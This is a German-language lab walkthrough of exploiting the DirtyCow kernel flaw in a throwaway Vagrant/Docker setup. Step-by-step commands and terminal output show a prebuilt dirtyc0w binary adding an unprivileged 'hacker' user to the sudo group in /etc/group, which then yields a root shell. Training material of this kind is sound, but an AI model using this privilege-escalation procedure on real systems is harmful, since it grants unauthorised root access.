
Die DirtyCow-Sicherheitslücke ausnutzen, um sich als root anzumelden.
Zuerst das Projekt klonen
git clone https://github.com/BrolyCode/Dirty-Cow.git
In das Verzeichnis wechseln
cd Dirty-Cow
Dann die Umgebung mit dem folgenden Befehl starten
vagrant up
Sobald der Server erstellt ist, verbinden wir uns per SSH
vagrant ssh
Zum Root-Benutzer wechseln
sudo -i
Jetzt können wir uns als Hacker anmelden
docker exec -it -u hacker nginx bash
In dem Verzeichnis, in dem wir angemeldet sind, befinden sich folgende Dateien
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
Wenn wir die Datei /etc/group mit cat anzeigen, sehen wir
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
Wir können versuchen, uns als root anzumelden
sudo -i
Aber das System wird dies verweigern, da wir keine Zugriffsrechte haben. Wir werden nun die Schwachstelle in /etc/group ausnutzen
./dirtyc0w
Es wird Folgendes im Terminal ausgeben, wir müssen etwas warten (2-3 Minuten).
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
Dann zeigen wir /etc/group erneut an
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
Als root anmelden
sudo -i
root@27862a2f9973:~#
Kehren Sie zum Terminal Ihres Host-Rechners zurück und führen Sie vagrant destroy aus